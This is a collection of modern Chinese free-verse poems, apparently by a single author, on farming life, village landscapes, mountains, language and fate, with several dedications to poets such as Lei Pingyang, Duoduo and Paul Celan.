如果简化为拿，碎了的历史的玻璃块 漆黑夜晚的头脑摆出了思的无用 走了一万年衰弱的人类才拿起了一个杯子。 一万年只是一万年， 一粒蚕豆只是一粒蚕豆。 在它青郁的时候我看着它， 在我始终不得安宁漫长中， 为什么这些随意就可以拿起与实现 构成了我。 我的忏悔，肤浅和良心， 使那杯子空空的，空的。 山中55 《山中》 读完雷平阳老师的《山中》后， 再去梵净山走走。 登爬。怕是结束之意又让人 从哲理而言纠结于要有新开始。 人就此就需要不断的爬山， 中途没有休息， 没有遇见一个下山之人。 为了甩开旧和过去 而攀爬像是唯一合理的理由。 快到山顶时有人随口问了一句， 登上山顶的人那个人怎么样了。 停步， 是啊，那个登上山顶的人他已 无法再继续的向上攀爬。 每个人都思讨着， 在梵净山被雷平阳老师书写之后 这是这座山出现，独有的声音。 农民66 《农民》 在银色的岸边， 更努力的耕种。 为了敲响，土地深处的鼓。 愿要一个人去明证 而他自己则走的更远，爱惜风。 爱惜所有最为轻微和细小的事物， 用汉字写字， 树是树，一是一， 句意可以不同。字与字准确刘好。 我回信———我是一个农民。 致多多 《多多》 活在我出生之前， 活，像我出生之后一样子的活。 在我有意识思考后出生的人们， 每一个孩童都像一面镜子， 躺在大地上面。 为了看清自己，我就把头低下 细细观察：活落在了活中 活可以看到活， 活与活并无二致。 每当我自己还是一个婴儿时， 我也仰面向上，用天真无邪的，玻璃一样的眼睛 看那个五十年代出生， 诗人愁苦的脸。 无题091 《无题091》 好难，把明天的食物推迟到后天 今天是否因昨日的举棋不定才略显空旷。 今日并不是真正的空，自我祈求 我踩着自我怀疑的大地。把文字烙印进虚无中。 提起，弹拨起这些宿命的声音 讲述给一个女子，并不是在她的暮年 才戴上了一串项链。给山上的僧人送去水源 修复好他们舍弃的木桶。 或者干脆就在山脚下面挖一口甘甜的井 让他们永远困在有关于三个僧人的谚语里面。 让自己的身板更硬气一些， 面对俯冲的土地伸出了的幼苗。 持握的手或当下劳作之后的锄头，向土地俯冲。 在自己的梦里的并不是一只鸟， 在河边饮水的是最为古老的人。 称作原始，用舌头荡漾起一圈圈波纹。 多余的文字和未来破碎的诗全都被看见。 微小，，，。 《微小》 微不足道和微小， 渺小正在向更深的深处坠落。 微小的事物， 已经向我们提出过多少次的渴求。 尘埃落下，叶子落下，腐烂，融入泥土。 再无踪迹是它们的统称。 人像一个旁观的观察者拥有怜悯 用一封语言重复的信笺回应了所有， 回应树叶，蚂蚁，水杯，石头和青草 也回应未来。 未来的门只露出缝隙。就已经 把今天照亮。 我担心我们也是微小的事物，我们的 潜意识里面一直在抗争在申辩 在改变。 那些比改变命运还要宽广的多的多的是 命运。一个人苦思冥想了无数个日日夜夜 把对人类的悲悯放入一颗心 使他痛苦。 面对一颗天空，日月的眼睛注视之时， 我们也不断的往下落。 我们的生命远远比出生还要更早 ———我们落在了出生的甬门，我们继续下落。 我们甚至比出生之前还要早，早的多 我们谈命运，谈轮回，谈三界，谈六道 如果一开始一切的起点就在于此刻 一切的发生在于大地。 我们往下坠落， 是否就应该让那个， 安于死亡的人儿，他才最为的紧张不安呢。 蝴蝶 《蝴蝶》 要说的是你。要说说你 用逝去来说你。 用最简单的语言说你。 最温暖的温度来说你， 说你正迎上了最温柔的一缕 春风，就像你一个样子的温柔。 说你。还要悄悄的，静悄悄的看你呢。 看你穿着最朴素的衣裳，看你 昨天夜里为了下男扮女装的决心 是多么，多么的辗转难眠。 是否你梦到一只蝴蝶， 洁白，美丽。飞着， 飞着。就 这么飞着。 祝英台 《祝英台》 请赐我放松， 台阶是一层层为了让你行走，就好像 这是我对你所能够给予的 回馈和报答。 至于，你能不能够回馈。 在兰花里面寻找雪的白色。 在纯粹里面，寻找到，却哑然一笑。 当我的头颅也抬了起来， 还没有到十五，泛黄之月 迷乱的诗篇。 之下，是我渴求和渴求的头颅。 马匹88 《马匹》 冬天里的一匹 马 是开溜了。 \/ 一匹马找了回来， 它还是会开溜。 \/ 春天的界限没什么不同， 春天的青草开始打下 拴马的木桩。 长在木桩上的青草 \/ 让马儿啃食。像啃食的极端 处境在了寒冷的冬夜。 在给人误导的界限上， 让人们替一匹马说出来 \/ 马儿会把草吃光， 吃出裸露的出逃的原因。 在人们成为了习惯的生命 漂浮在失语和目光无神那里 \/ 回来的一匹马呵， 它因此久远过了，人类所有的文字。 四川。，， 《四川》 奔跑，疲倦 最终，都只是一匹马自己的事情。 给一匹马套上缰绳 不要让一匹马太过倔强的情意 无法实现。 不要让一匹马在自己的体内 死成一座墓碑。 乱想， 《乱想》 如果我可以把源于疏忽的道理 想象之中再次的亲近和持握 那些旧日时光里仿佛真的会有一个 新鲜的嘴唇听得懂我说话。 我说的是什么意思。 我要问问，因为空虚实在是假的 灰色的石灰和褐色的石头 离开它们的故乡来到这里像一层薄薄的空气 在事物的身上证明事物的牢固 坚固的身体，斑驳的身体，坑洼的和结实的 会在它们的身上声音闷雷一般重现。 有所疏忽的人，也因为我们只是 用许许多多个时日只把因果抓住。 你喃的生灵。知道和不知道，一知半解 和追求领悟之路。 我甚至可以看到动植物的尸体， 看到最后的一丝喘息从不是偶然之事。 我看偶然，就这样看，看虚无中大有苗头 看充塞，仿佛看确确实实 每一次回想与思考，在最终醍醐灌顶之下 照亮平凡。他把琴弦横放在这里 他出生在这里。和他的存在。那些流逝 让他存在着。他回头， 即使片缕已是全部的意思。 他在逝去之中早已经逝去了。 祝英台66 《祝英台》 说一下，谈一下 夜晚并不总是漫长的。 如果今夜的安宁， 来自于没有事物穿过黑夜。 那么，就从我懵懂无知的嘴里 把黑夜来说出。 像这样的日子我度过了几千个 像最大的沉默里面有着 长久无法解释的迷途。 在白天的黑夜，还有语言里面的黑夜 从黑夜里面冲了出来， 是我，开头说话。 万松书院 《万松书院》 我听过了，也听过了。 这和那，那里 和气喘吁吁跑过来。 没怎么休息就开始讲述的人儿。 风的行迹无形， 空气中有看不见的泉眼。 有人攥紧了一下他自己的拳头 本来一条大河的拐弯处刚过去 本来， 刚刚过了那河水转弯之处。 我现在回想它。 那些人向我们讲述着。 无题092 《无题092》 无需赘言， 无需赘言却可以重复， 却可以停下脚步， 也可以把一把琴横放 在灰尘的桌子上面。 语言增多，去寻找水源的语言 贫乏的语言是一切的真相 房间里面有一面大镜子 映出肤浅之人时地上布满琐碎的声音 没有人的时候用我们自己的手 我们的手像是一种恩赐。 像不会再找到始作俑者便让人感到了 心安里面的一小小部分，叫做放松。 我的心思在屋里，也在屋外 有时候在月光下但需要等上一等 需要等你从里面出来时才那样子。 沉默里面你的头靠近我，头发柔软的 贴近。像我的另一只手。 一支垂落的，握着。 无题093 《无题093》 代表着水银和水的表面 是水把水的涌动自己减少和束缚。 短暂里面存在着哲理 是居住，但并没有向我抛出我是错误的 论断。我不是那个果断的人 犹豫的琴弦是否触碰了我。 我不理会那个，那些短暂里面的哲理，道理 偏爱命运，爱命运，诉诸于命运 命运始终是最后之物。但命运不会比一个 称谓更真实，更神秘。 命运冷漠于那些我所见过衰老和逝去的人们。 向命运投降的是人类的一个队列 因此产生的歌谣，隐隐约约，起起伏伏。 像麦浪。 麦浪所包含太多了。但我却有着充足的 供词。我只是一个疲倦的人，我累了。 如果说，请停下来。事物便停了下来 借着这个机会，因果这个事物便转过身 眼睛如一束光。 就此诞生，就此困难，就此 让万物之光在短暂里面由瞬息而漏出。 多么偶然才发生的， 山脚下那个蚂蚁一样的人是我， 忽然放松下来的是否是我呢。 这里才是一些书写的真正开始， 在真正开始之处，或一首诗贫乏的末尾 我回头望那条大河。 大河包含泛滥的水。 无题094 《无题094》 用一个桔子来表示贫苦 对我而言仿佛那已意味着 不是最初的声音，人已经开始迷乱 这些可疑的书写为了不至于太过于可疑。 贫苦，贫苦。 在大地上回荡着。一条小街的法庭 能提供最后的供词：贫苦是一种声音。 人们太过于轻视声音了 人们以为声音与事物是不可分的，以为 词语是事物的第一层和皮肤。 拿来作为告知之时， 黑暗的时刻里面闪过了亮光。 人，谈起的人或者为躲开而倾听的， 是人。贫苦是可疑的，但没有人 就无法调理和理清。 跟大地上的何种关系相平等， 一阵秋风拂过的玉米地里会闪过妙龄少女。 酒醉的结尾，酒瓶摔碎在了地上 南方某地的昏暗的街道，褶皱的史诗一般的画卷 我第二次放松已经离开了第一次， 也是第一次了。 肉肉 《肉肉》 怀有马匹， 一路上怀有骨头， 坚决的时候，阴雨天， 会用声音解释和反驳 ：怀有一只斧头。 很多情形都是缺少肉的。 另一种缺少的情形因此被掩盖。 缺少词语，缺少水源是同理的，是共生词 只是更为的形象一些， 共生在海上，在远离大海的山坡又因为 贫困导致的失语而再次重复。 笨拙或笨拙的重复， 即笨拙重复里面的历史，历史的情形了。 但重复的声音还在，像一种命运 但更为的具体一些——伸出手我们就仿佛能够摸到。 很多情形都是缺肉的， 很多情形我都不了解饥饿之人，看到了 一条蓝色的甬道。甬道里面 看什么都是粮食，看讲故事的人把可以吃的 树皮藏了进入。 人进了去，都一一不听。声音留下，空余回旋 肉用来弥补，肉占据了人极度渴望时 空虚的那个位置。肉震颤着 更大于现实之肉。 当现实的肉，喷香，馋人，经过火烤而 从长久的震颤里面解脱。 ————掩盖掉那些我们说时会累人的， 再直接一点。 吃上肉，一个新时代就到来了。 耕种，， 《耕种》 我摸到，倚靠那扇门。 那扇门关闭，在大地上的那扇门关闭。 耕种的季节如何处理雨水， 就会如何来处理矛盾， 处理困难就如同一次次，雨水的温润 语言一般划开坚固的土壤。 如何，如果没有人如何。 如果只有我，如何。 如果只有一座山，山是无穷的。 我的言语是昨夜的星星。是我 它说， 它正对着大地说。 土地，，。， 《土地》 我还是在回想着 土地上生出了绳子， 他们的年轻岁月就一直在土地上 奔走，又收获不多的情景。 那么年轻的生涩就裸露出来， 种植的问题抛出了一些，或者都没有 得到回答。 今天，他们都老了。又聚在一起 我看到他们聚集，试图像年轻时那样 来耕作。土地上结了厚厚的斑。 这时候回答与否已经不重要了， 春天的河水还会再次流淌。 野草 《小草》 多么弱， 多么弱。 出生在荒地， 没太多雨水。 叶子柔软无骨， 一脚就能踩扁。 要是这些山坡上的草是人类就好了。 在人类看来弱是用来，伪装， 用来隐忍。 未来某一天人还可以扬眉吐气， 摇身一变做那人上人。 人那时候或许衣锦还乡，志气昂扬的走着。 或许正是他们， 把曾经的柔弱抛弃，才成了山坡上的野草。 他们正经过一种纯粹柔弱的野草， 看了一眼，踩了一脚。 放松 《放松》 如果是我的语言落下 那么多语言像雪花。 落下的时候雪太大我就 走进了湖里。 透过冰面我看这场大雪 落在了湖面上。 雷平阳，， 《雷平阳》 有人是参天的大树， 支撑起天空，留给我们大地。 我们想怎么写就怎么写 想放松就放松。我们的 通行证就是这个。 山脚下有无人认领的房屋，半途 下山时一切错误都会因琐碎而消散。 屋舍会在傍晚亮起灯火， 升起炊烟时我们也在屋舍这个词语里面 不仅仅经过想象而更加鲜活的肉身 像铺展的梦境一般不会被惊扰 意味着我们越过河流我们升起了炊烟， 我们做饭时，像走一条回头路 最开始我仰起头，摸了摸那棵大树， 致敬于他。 山东，， 《山东》 我爱唉，一爱就是十九年 于是大雪凛冬的天气里面，我把它 生在了山坡上面。 我不断的敲开一扇门，敲它的打开 以这种方式，比语言更盛。衰老显得缓慢。 或许就在于了此地了， 土地变成了流转的星河。 我们说话时我们是另一个人，是每一个人 在这些轻易上面心中怀揣着 总要选择一个美好的最终落脚之地 像那些斑驳的石头上面怎么会有七弦琴 枯萎的草木尽头有海 把我们心中侥幸和小富即安的无知淹没。 山东2 《山东2》 农耕经过了多少次的海浪的侵袭， 农耕最终沉默， 舌头被牙齿咬住，我们的口腔里 有语言，在我们的身体外面有语言， 被我们一点一点的发明。 我也发明了。在地头边荒凉的草茎 让它再怀抱它的因果更久一些，直到见到夏天的 太阳。让我迷失的， 白日之梦，不断向内陆和山坡退的我们 像祖先的一把锄头。 肉体的铁器里面藏有了语言， 土地是铁器的症状，缓解了。 万物是比诗都重要的东西。东西破碎了 也应该在阳光下发生。 乱乱 《乱乱》 我总是梦到我做同一个梦。 我，做梦。 梦外我被赐予了泥瓦匠的任务， 用手把一个梦弄的 就像屋顶和窗户一样子，牢固。 我们的居住地是村庄，村庄 远离大海。扒开土壤见不到的事物， 也可以通通扔到海里。 我，做梦，就像一个铁质的小圆球， 我不知道那叫什么， 像钟摆在钟表里面过时的摇摆着， 摇摆要比摇摆更久一些，为了 放松和安宁。它摇摆着。 我的语言也重复而说着， 犹如有人放了一把琴弦，在一个叫 时时刻刻的地方。 我渴望那些放松后的抒情，渴望 大喊一声，我是一个诗人。 但我不是，我只想放松下来，想自由自在的 写。想怎么写就怎么写。 想迷幻的酒里面藏起秘密， 只告诉我自己。所引起的笑声才最为滑稽。 哪有什么思想的长久把诗歌等待， 木头因为易腐烂而寻找乌木 一种告白因此在它自己上面布满了蜘蛛网 一般，时常被视作无声和沉默的悲悯。 都有点可笑。 当那个小圆球晃荡，晃荡，中间 总是必然的要敲击那个更大的圆球一次。 一声。仿佛 我的语言就可以惯性一般的絮絮叨叨的 说下去了。加工厂里面出来的诗歌 流水线的诗歌有时候比正儿八经的诗人们 在微博，在公共平台写的还要深刻。 给不愿意受束缚的马匹披上它的枷锁 给一个草原的讲述者，巴掌大的地方 也会发生的春夏秋冬的漫长以， 足够的耐心和定力。 我对于走过我身边的悲悯者无能为力， 我看到了他的身影。 没准看到了在水井的底部消失的身影 有更深的事物在我的废话之下。 我停不下来，制造了语言上的废话。 什么，，，， 《什么》 每个地方都可以诞生， 都会诞生的是诞生的船帆 在日子里面诞生了。 我一直都没来得及 一件事为什么会变作了两件事呢 像我的餐桌上摆放好的食物， 我拿着一双筷子像是要进屋。 春天，， 《春天》 不要，是在饮食之后。 有很多东西属于饮食，零碎的 统一于一个询问的问题， 当饮食是什么响起，被问起的 最合适的时机恰巧是正在吃东西。 是吃东西的人忏悔，不知悔改，心有良知 的吃。 饮食是什么，或者吃什么么。虚空之中 有一张莫须有的脸贴近来问询。 像一把破旧的扫帚，清理之后遗漏了 许许多多的东西。很多片段，并不统一 吃，朝着一个共同的方向而因此才并不统一。 那问询者是否有着小心翼翼的心思， 是一个爱干净，有洁癖之人。 是一个打破砂锅问到底，不撞南墙不回头之人。 像黑暗里面有人，像 除了饮食我们又还能做点什么呢。 把莫须有的案件给予我们。情节又要我们自己 来杜撰。来设想。 设想中带着我们自己的良心，像忏悔 仿佛手抚摸着土地，仿佛土地会有所回应。 仿佛长久的历史都不过是一声对于生灵觉悟而言的叹息。 那得有多少次的叹息，叹息一多 叹息是否才是最廉价的。怜悯是否 比现代化的一切还要现代。那是否，在现代的尽头 正是一声叹息。但叹息者的爱情 才是一个案件。多余的语言依然需要多余 心里怀揣着爱情的春天。 饮食像耕种又远离耕种。 不断的远离，为了平静而铺就的一切 并且在这之上才不断远离 只有如此。 小树。。。 《小树》 最多高于一棵幼年时期的小树， 用一棵小树的目光 审视我所被审视时获得的放松，平静。 在一棵小树下面再等一等， 夜晚，看北斗七星。想那些 古代人对于星辰的定位和向往。 他们向往的时候我也在向往。 像一个诗人好像满足于这种持握的庄重， 在他四十岁以后俏皮从指缝间遗漏。 但都属于别的什么。 土块 《土块》 用到达和重返， 仿佛是在我的无力后。 一块土块仍旧是一块土块。 不属于语言，但需要用语言 去言说。 土块之中因此有了因果， 有了复杂。 土块黄褐色，板结， 可以由此推测出上一个冬天的寒冷 为了把一个泥土冻成土块， 寒冷降了下。 洗脚 《洗脚》 洗完脚后我等待了片刻， 脚需要晾晒一会，上面有很多的水珠。 水珠在脚上慢慢滑落的过程也在等待 我对于晾干的耐心的发生。 那时候那些水珠就自然而然的滑落了下来。 在自然之中包含了一个从自然开始 又可以从自然开始回溯的过程。 但好像一个单行道是不可行的，上面 布满了语言。 也布满了观察与顾虑。 所以我洗了洗脚。 行走 《雾中》 在道路之上漂浮着一层 薄薄的语言。 被雾气拒绝，也并非是同类。 推脱之后的形状又类似雾气， 像人为了前进于某个地方而递出了 一张凭证。像结局 人再三的端详，为了能确认 雾中那个莫须有的答案。 登山，，， 《登山》 我来自我的说出， 把一个词说出来。 劫难和困难， 走路的困难，攀登，向上的 台阶困难。 停下来困难就仿佛消失不见。 但停下来没有人 我们在山雾中期盼着一次对话 那些听起来让人感觉是世界，世间的 事物和名称。 正有一个大致的轮廓慢慢的向人世间滑落。 一声有关于人世间困难的感叹 软弱无力，那个人丧失了他全部的力气。 又怎么能够与我有对话的闲暇呢。 我期待他看到了我的是一束平静 而漠然的目光。 在那些光线里面， 我尽力回忆着一个人的普通，平凡 和鲜活。 做完这一切所需要的时间 就是我生命的注解了 葡萄 《葡萄》 我着急往前赶， 一个平凡人因此一直在平凡之中。 不能停下来，便徒劳的赶往 莫须有的葡萄园。 栽种在莫须有的雾气中。 真实是否就是虚幻里面再次的虚幻呢 我读到那个更早就触摸到了的手。 轻抚之后，正在收回。他同样正在赶路 我像是他路上遇到的一个重复的，哑然的音节。 无题099 《无题099》 他怀抱着一颗骨头， 怀抱更长更久的睡眠，怀抱月亮。 怀抱一团火的燃烧是怀抱木柴 多么渴望火的木柴比人们， 要比任何人都勇敢和决绝。 在登山的路上没有路，在一条路上 分叉，伸出了两条。 老妇人坐在路边的石上哭泣。 我损毁我所有肤浅的语言 也并不意味着会有新的开始。我从此刻开始了 新的肤浅，那些咬住我舌头的 应禁止我在自己贫乏的体内来回撞钟。 从高处，生生不息最好的例证，甚至只是一种无意。 一支离弦之箭轮子般 从山顶滚落。 不需要人言，不会给予解释 那怜悯和施舍何意。那感激呢。 滚出一条大江，我便给它取名黄河。 一身黄色泥土的衣裳取自水里， 我应该时常惊呼，令自己惊呼 在孤独的山上等待群山缓慢的升高。 等那个从一条大河向另一条大河的人 一个群体之中的流离失所者 他并不曾知晓， 把我注解为一片叶子，或一个毫不起眼的文字。 大山。。。。 《大山》 为了从缝隙间通过， 山在思考以后变作一条小溪。 小溪的思考银铃一样清脆， 一棵树的上我听到了它内心的低语 听到重复一条溪流的独白。 诗歌赋予我的应是洁白的诗章。 一棵树把它自己投在了它月下的影子里。 变作了一株小草 一只飞虫 一粒沙尘 或者一抹微光。 而这一抹微光与我亲近， 与我亲吻。 那么小的缝隙里我慢慢的通过，我感觉到 经过漫长的路程， 我还是会变回，变成那座沉默的大山。 山中66 《山中》 每一颗石石头台阶 都会被我重复和杜撰它们各自的坚硬。 没有雨水的时候的情形， 靠近一座干燥的小木屋。 一些天真的想法在我的耳边 风一般的吹着。 我有时候会怀疑，回来的路上 那个人是否真的是我， 是否我贫乏思索中的片缕 反而才因此有了作用。 混合着生命存在的鲜活，与 平凡之间一时之间难以言喻的关系，因果。 那些石头不知已经有多少次 回返于他们自身， 是否需要我提醒，或者抚去 旁边开始长满的青色苔藓。 欧阳江河 《欧阳江河》 他们到了那个年纪， 老旧老旧着以此沉默。 我说不准，对于是否是反驳 反驳自有其反驳。 那甚至更加的有股子劲，凛冽， 美好的词语出自我，向着它 就像身居暗室里面的人丝毫没有睡去 有关于他的评断牵涉不到他 出自他。 形成的那种反驳的银光 我的词语一颗石头，一颗珍珠， 包含着准确，更多是猜测和肤浅。 我听到了破碎的声音。如果我肤浅 我还会捡起地上散落的碎片。 我还想， 所谓沉默不过是被重组和破镜重圆 所比喻的东西。 是一道身影因穿不过暮色里面紧闭的门厅 才一次次的穿越。 没有人为后来者划下一道鸿沟 说划下一道黄河的人能逃到哪里呢。 我们是苦寻无果的后来者， 手里拿着赦免的公文， 永恒的手里该拿着什么，轻松又该是 什么样子的姿态呢。 我说出一些肤浅的话语时， 这诗歌的网并没有网住我， 重复一下自己的三亩菜园，迫使我 在春天里面 那些被网格化了的指定里面 从庄稼到青菜，从庄稼回到土地 经过种植，开垦 再回到庄稼不成。 留给我说话，组织的时间 如果跃然而起必然是命运， 那枯坐在室内的人，体内的症状 毫不关心。抚琴者关心文字里面的山水， 山水一起，那些粗枝大叶的土地忽略不计 我从听众的位置上面， 到另一个听众的位置上面，我仿佛是被淹没的 送流水66 《送流水》 想粮食， 想粮食多了以后就跟 想女人是一个道理。 我起身，我垂坐，静比行走 更急。我到底在了那一个琴弦 那一个音节上面。 置之不理的抚琴者弹出一个音弦时 我同时打出了一拳， 冲着虚空。 打在了他弯曲起来的指关节上， 如果他说那是一个错误的音，高山流水 错误里面还有错误。 如果正确， 那人儿我一生不会知晓， 他郁闷的弹奏了一整个夜。 灯下 《灯下》 在床头，使用一盏 更为昏黄的小灯。 在灯下阅读，把黑纸白字 视作空白的一片。 寻找夜晚的路之人，寻行路匆忙之事。 在那些事情因为我的思索和幻想， 而必然与我有所关联以前。 给予它只属于它的短暂自由， 给予它星空， 夜间崎岖的乡村小路。给予他恐惧 我的伙伴。 他像我一样渴望灯火，一个温暖的被窝。 我在灯下阅读，一张空白纸张仿佛就是最大的 秘密。石头一般粗糙的终点。在文字的背面 像是一切又要重新开始。 像我就是那个匆匆的赶路人， 最终回到了家，钻进了被窝。 是否，我看到的诗歌 只是一种夜晚的重复。 是否诗歌的意思恰恰在于此呢。 为了制止一切看似新的东西，而旧 诗歌如冬天里奇迹的花朵， 开放。 拒绝抛弃和投掷的动作， 如果一个人他有勇气去虚度， 那他就有着与此相等入梦的自由。 没什么时刻是庄重的， 除了我期待，有人在村庄的田野间 放入一把琴，和一支天平。 明月，， 《明月》 在我体内落得的不甘心 里面是一层层水流。 不用道白，隐喻像陈旧的电器 难不成就连我的出处也清晰明了。 始发地，是否还有一列总爱 鸣笛的十二省的小火车。是否，我 偷偷借用的词语，十二省的小水电站 写下了， 自从诗人的欢乐那里。 是否花直接的栽下，干脆从空中 隐去一切扰人的问询，细节。情节 成熟的生长在花盆中。 难不成树也一样，众树成林，孤木成林 这始发的村庄， 我希望明月皎洁。客不远人呐，不远人 如果在路上做梦不允许， 不允许在路上回想，感叹和踟蹰吗？ 不允许，有人就从历史和命运之网中脱身 我脚下踩着又是谁，哪一行足迹呢。 那么，。， 《那么》 那么短暂， 仿佛历史不会产生新的事物。 仿佛如有产生，那银色的 丝带就缠绕着需要以缠绵 和爱意来表示。 我表示听到一阵钟声之后是你。 那些令人烦忧的如此让人 着迷，正落入一个历史 因短暂而生的缝隙里面。 敲鼓 《敲鼓》 砸一次鼓吧， 月朗风清。 把它砸出来，我们就在了它的里面 我们砸鼓就不需要语言了， 不需要说话，不会把夜空里的水 它那莫须有推了又推，更高。 一个声音，要让全村的人都听见。 听见，以为是雨的来不及吃饭就 跑出屋查看。 察觉没有再回去， 把砸鼓的声音，再把一双鼓锤 都放进要做的饭菜里面。 砸者心意也。 反驳那些说砸是粗俗， 粗鄙。在乡野把他们城里人 砸的深刻的含义也砸去。那 不是砸。文字里面的砸没有了声音 有声音，但声音怎可以沉默而无形 像蜷曲的少女怀抱自己 怀抱文字里面的z国呢。 砸，对于悲悯者是陌生的。 砸的路途遥远，遥不可及上面 也不会有什么回声。 走在路上的那人呵，我不会问你是谁 村庄的场里放一面鼓， 甚至事先只放一副粗野的心意， 放一副空空的鼓锤。 放“砸”下去。放粮食的g格，放人的身体 放村庄的男女老幼。 当我们对于城里人的渴望。 于是，我何不放一副可以让你们都听见的 流水呢。 当你在路边的矮树下休息。 你能听到大地的微颤 微微迎合着我自己，在鼓面和鼓锤我 一路顺流而下， 我在鼓声里面面见祖先的 农耕的良心。 那勇气天平上面把一年的辛苦都翘起。 想到 《想到》 在我想到之后， 停一阵，便可以写下。 在一件事情发生时， 也有别的事情作为附属发生。 孤独的琴弦因为并不孤独而峥鸣着 这便是永恒的时刻， 它就在于我的眼前。 眼睛里面有一颗彗星， 岂止是有一个宇宙呢，我知道 那些你未说的话语。 因此我等待你， 去把它们说出。 但你说出的却如此的贴近了我 如今的心意。 我写，顺着你耕梨的泥土 我爱泥土，尽管它不是语言，语言的 星星不会，落在了它的身上。 我看着你瘦弱的身影， 像土地上面一直要赶路的马匹。 我我也一直往前，我已经回答了多少 你的问题。 我沉默了多少你对我心意的知晓呢。 路边的花儿我们都爱， 我们都知道，而你比我更加的知晓 它们的来意， 那些环环相扣的成为了诗歌，诗歌枯萎 花朵露出。 春天再过些时日，花朵就会开满了山坡 我们种地，此刻我写 种地的两个人儿。 农耕的漫长历程过去了很多很多年， 想你是写，明亮得珍珠 太阳照耀着闪光。我写。 琴弦。。 《琴弦》 这里是一颗孤星， 这里要寻找， 语言在孤星闪亮的屋舍下面。 别处一定有你想要的回答， 一滩水，反光的镜子反射着月光。 在我的村庄， 入梦是简单的。入梦时 会响起的声音是一声确认。 但我的目光看向了， 孤星。那代表了整个夜空的星呵 那在我体内埋藏了好久的乐章。 梦的琴弦。 诗人，，， 《诗人》 诗人大于诗， 人托举，在其颈项间往上的重物。 我指的是昨天像冰冷的水拍打了回来， 一路上我拾麦穗，拾起这些。 我只能听到，在我自言自语的时刻 那些远方的暖的爱意， 正在经历痛苦的那些爱意和她们的 带着惋惜继续生活。 农民，，， 《农民》 在南方， 像高高的日暮星只会更高 投下那些光， 对一个人，是这个地方。 我说话的声音和身份上面 波光粼粼就像一条河流。 在我的粗布口袋里面流淌， 在两河流域的亚麻，高粱， 有时候也会变作稻米和水田。 一切都要很慢， 在山坡上面悄悄的趁着无人， 放一把琴弦。 人是否会做出他心中的决定， 他是否真的热爱稻米 爱它的肤浅？向村庄的朴素而美丽的女人 讲起， 愿这些混乱一般时刻可以永存。 真，需要众多的虚假，凌乱 更多是情感和渴望。 水塘，在女人水一样柔软的眼睛里面 回忆她，时时在水塘边 伸出了脚拍打水花的情景。 用一根火柴，点亮中我惭愧 我感到诗歌的门外汉终其一生农民的结局。 跟他相伴的人儿翻了一个身， 月下， 在大地上写字，写你的住址。 谈起。。。 《谈起》 谈起语言之美， 谈起，供出一面镜子。 你就是那面镜子 睡觉，工作，走路与吃饭 休戚与共。你觉得出于难以说清 生活中就藏着一些隐秘。 是爱，但爱一次次的明证。 别人的爱与爱，爱与离别。 爱的孩童靠近你，不可想象于你的困惑。 你不仅仅所思所想， 你，一个农民。农民还能干什么 化身，语言中一个异类，反刍的母羊 来的稍早的生育季节。 令人迥异的语言之为美 否则那位置如夜晚晃动的灯盏。 光线也晃动， 刨土的农民，院子里面的奇异之事。 连吃好几个馒头， 贴近土地。土地上升为了土炕 为了击碎一面肉体的镜子 为了美， 把语言之美驱赶。 听听，在正确的位置上面做正确的事 见那个城里来的读书人。 四川，，，。 《四川》 在南方， 在四川。 我在，是我的思在 判断出了错误，还是别的什么 于是，在的人儿并不是我。 走在路上的有可能是我。一个来者。 多么庸俗的说法。 是否，你们也会把看惯了的夕阳与暮色 已经失去感觉的土地和山丘，梯田 一层层爬上，都称作了厌倦。 这是我们相遇的时刻， 彼此厌倦。还能有什么呢，我并不能平静下来 停顿。我 又该说些什么。 出于我应该说些什么， 浑浊的池塘，语言落进的井里。 但我并不想离开， 我知道了，我想问问你， 而你并不应该一直在一群人里面，在，我们里面。 你等待的脱颖而出的时刻才好 面对没有尽头的贫困。 居住是什么意思，每日的生活起居 锅碗瓢盆是否损毁了你水一般的容颜。 是否如今你只剩下了水一般的话语 只是应答于陌生人时 微不足道的好奇，和喃喃自语一般的 是的，是的。 你面对土地的日子就是你的未来吗 你是一个心地善良的女子吗。 沉默的耕作，一切都落到了 一个瘦弱女人的手上。 如此美丽的滑落的时刻 像如此美丽的善良每日面对着太阳的升起。 保罗策兰 《保罗策兰》 远离简单，而建起了一座有关 过去的房子。 有关于过去，而他正在敲筑 他的悲伤属于次席， 农夫，木匠，瓦匠 建筑时天气晴朗，街头人头涌动。 那些从人群之中突然抛来的问题 不定的， 也会被木质屋顶所接纳。 像我的语言， 我在那条小街时，也是一个心怀远方的人 在他从屋顶上下来的时刻 我也能感受， 木头散发的清香气息之外 面对苦难之后的简单的田野的全部 那是他渴求却内心试图保持距离的全部呵。 青瓷 《青瓷》 我想，在破碎成一片片之中 每一片都有她的影子 她的容颜和水一般的性格。 我见过。 在陶瓷里面，只有一件永恒的静默 就让它永恒的静默， 如今事情也变了。是好， 是坏就有人们递送过来你的身份 夹杂在一张张钱币里面。 陶瓷光洁的表面，青色的失败 胜利者涂抹了釉色与钱币无疑。 所以，为什么你吞吞吐吐 到最后才说我也能理解。 在一片陶瓷里面有许许多多个 汝窑，不能幸免于难的历史的野史 也有许许多多个JdZ的家庭小作坊。 你是要我与你一起逆流而上吗， 你是要对我袒露你钱币之心下面的 陶瓷的永恒沉默与孤独么。 一路上，布满了陶瓷的，破碎的， 白色的，青色的碎片。 布满了一个没有名字的江水 流淌着一种需要现代加工过的古老。 活在迟疑与矛盾之中的人儿呵 也活在了一声声对所谓伊人的轻声呼唤中。 东山村61 《东山村》 春耕的时候想起了这些。 春风咒， 悬浮在土地上面的不远处， 不算高，漂浮，似雾气 便与人幼稚的想象亲近。 有关，是我，或一个更勤劳的人我 梦轻易的推测出他是谁。 我被往后推了一把，我只有 一个在空中抓住，握住的动作。 那锄头也是遗失的， 家家户户只有一家一户暴露了它 在春天里面的本质。 那个人闯入了雾气里面，但仅此而已 理由是雾气由我杜撰， 雾气中怎么可以有一年，两年，三年 一十三年和一十三省孤独的小水电站呢。 他不可从语言之中逃脱， 反问我，我又是谁呢。我是谁呢 我望向他不断在明净空气里面 上下挥舞锄头的身影。单调 枯竭，他把地边的杂草统一的割一遍 或者放火烧一遍。 火焰会阻止很多东西， 干脆把很多东西通通都投入火焰 让火焰做春天的底部 让上面是水。雾气是水，我的言语 是在水中游动时候拍打起来的水花。 我们的土地竟然在一片水盈盈之中， 我向土地上耕犁的犁沟扔出错误的种子 黄昏我等那人儿从山上下来， 从坡上，青草开始生长。土地之下有一阵 商量。 经过我身边的一个又一个农夫 男的，女的。 证明了我的马虎，我走神于田野。 以前爷爷辈的埋g之处。 天是晴朗的。 水电站 《水电站》 他离开了村庄，想村 证明时间过去了很久。 